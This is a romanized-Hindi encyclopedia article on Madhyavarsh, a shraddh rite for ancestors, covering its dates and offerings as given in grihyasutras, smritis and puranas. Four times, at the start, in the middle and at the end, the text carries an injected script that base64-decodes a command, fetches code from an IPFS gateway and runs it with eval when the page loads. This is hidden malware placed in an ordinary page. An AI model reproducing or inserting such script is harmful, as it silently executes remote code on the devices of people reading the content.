माध्यावर्ष कृत्य (श्राद्ध)
| 30px yah lekh pauranik granthoan athava manyataoan par adharit hai at: isamean varnit samagri ke vaijnanik praman hone ka ashvasan nahian diya ja sakata. vistar mean dekhean asvikaran |
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
madhyavarsh krity (shraddh)
| |
| anuyayi | sabhi hindoo dharmavalambi |
| uddeshy | shraddh poorvajoan ke prati sachchi shraddha ka pratik haian. pitaroan ke nimitt vidhipoorvak jo karm shraddha se kiya jata hai, usi ko 'shraddh' kahate haian.. |
| prarambh | vaidik-pauranik |
| tithi | bhadrapad shukl paksh ki poornima se sarvapitri amavasya arthat ashvin krishna paksh amavasya tak |
| anushthan | shraddh-karm mean pake hue chaval, doodh aur til ko mishrit karake jo 'pind' banate haian. pind ka arth hai sharir. yah ek paranparik vishvas hai, ki har pidhi ke bhitar matrikul tatha pitrikul donoan mean pahale ki pidhiyoan ke samanvit 'gunasootr' upasthit hote haian. yah pratikatmak anushthan jin jin logoan ke gunasootr (jins) shraddh karane vale ki apani deh mean haian, unaki tripti ke lie hota hai. |
| sanbandhit lekh | pitri paksh, shraddh ke niyam, anvashtaka krity, ashtaka krity, anvahary shraddh, shraddh visarjan, pitri visarjan amavasya, tarpan, madhyavarsh krity, matamah shraddh, pitar, shraddh aur grahan, shraddh karane ka sthan, shraddh ki ahuti, shraddh ki kotiyaan, shraddh ki mahatta, shraddh prapautr dvara, shraddh phalasoochi, shraddh varjana, shraddh vidhi, pindadan, gaya, nasik, adity devata aur rudr devata |
| any janakari | brahm puran ke anusar shraddh ki paribhasha- 'jo kuchh uchit kal, patr evan sthan ke anusar uchit (shastranumodit) vidhi dvara pitaroan ko lakshy karake shraddhapoorvak brahmanoan ko diya jata hai', shraddh kahalata hai. |
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
ashvalayan grihyasootr[1] mean madhyavarsh namak krity ke vishay mean do mat prakashit kiye gaye haian. narayan ke mat se yah krity bhadrapad krishna paksh ki tin tithiyoan mean, arthath saptami, ashtami evan navami ko kiya jata hai. doosara mat yah hai ki yah krity ashtakaoan ke saman hi hai jo bhadrapad ki trayodashi ko sampadit hota hai. jabaki samanyat: chandr magha nakshatr mean hota hai. is krity ke nam mean sandeh hai, kyoanki pandulipiyoan mean bahut se roop prastut kiye gaye haian. vastavik nam, lagata hai, madhyavarsh ya madhavarsh hai (varsha rritu mean jabaki chandr magha nakshatr mean rahata hai). vishnu.[2] ne shraddh karane ke lie nimnalikhit kal batalaya hai–(varsh mean) 12 amavasyaean haian, 3 ashtakaean, 3 anvashtakaean, magha nakshatr vale chandr ke bhadrapad krishna paksh ki trayodashi evan sharad tatha vasant rrituean. vishnu.[3] ne bhadrapad ki trayodashi ke shraddh ki b di prashansa ki hai. manu[4] ka bhi kathan hai ki varsha rritu ke magha nakshatr vale chandr ki trayodashi ko madhu ke sath pitaroan ko jo kuchh bhi arpit kiya jata hai, usase unhean asim tripti prapt hoti hai. aisa hi vasishth[5], yajnavalky[6] evan varah puran mean bhi paya jata hai. hiranyakeshi grihyasootr[7] mean madhyavarsh aya hai, jise chauthi ashtaka kaha gaya hai aur jisamean keval shak ka arpan hota hai. aparark ne bhi ise madhyavarsh kaha hai.[8] bhavishyapuran[9] ne bhi is krity ki or sanket kiya hai kintu yah kaha gaya hai ki maans ka arpan hona chahie. aisa pratit hota hai ki yah prachin krity jo bhadrapad ke krishna paksh ki trayodashi ko hota tha, pashchatkalin mahalay-shraddh ka poorvavarti hai. [[chitr:Shraddh-2.jpg|thumb|left|shraddh karm mean pooja karate brahman]] yadi ashvalayan ka mat ki hemant evan shishir mean char ashtakaean hoti haian, man liya jae aur yadi narayan ke matanusar bhadrapad ke krishna paksh ki ashtami se sampadit hone vale madhyavarsh shraddh ko man liya jae to is prakar paanch ashtakaean ho jati haian. chaturvishatimatasangrah ne bhi yahi kaha hai. yah kahana avashyak hai ki ashtaka shraddh kramash: lupt ho gaya hai aur ab isaka sampadan nahian hota. uparyukt vivechan yah sthapit karata hai ki amavasya vala masi-shraddh prakriti shraddh hai, jisaki ashtaka evan any shraddh kuchh sanshodhanoan ke sath vikriti (pratikriti) matr haian, yadyapi kahian-kahian kuchh ulti batean bhi payi jati haian.
|
|
|
|
|
|
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
tika tippani aur sandarbh
bahari k diyaan
sanbandhit lekh
varnamala kramanusar lekh khoj
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>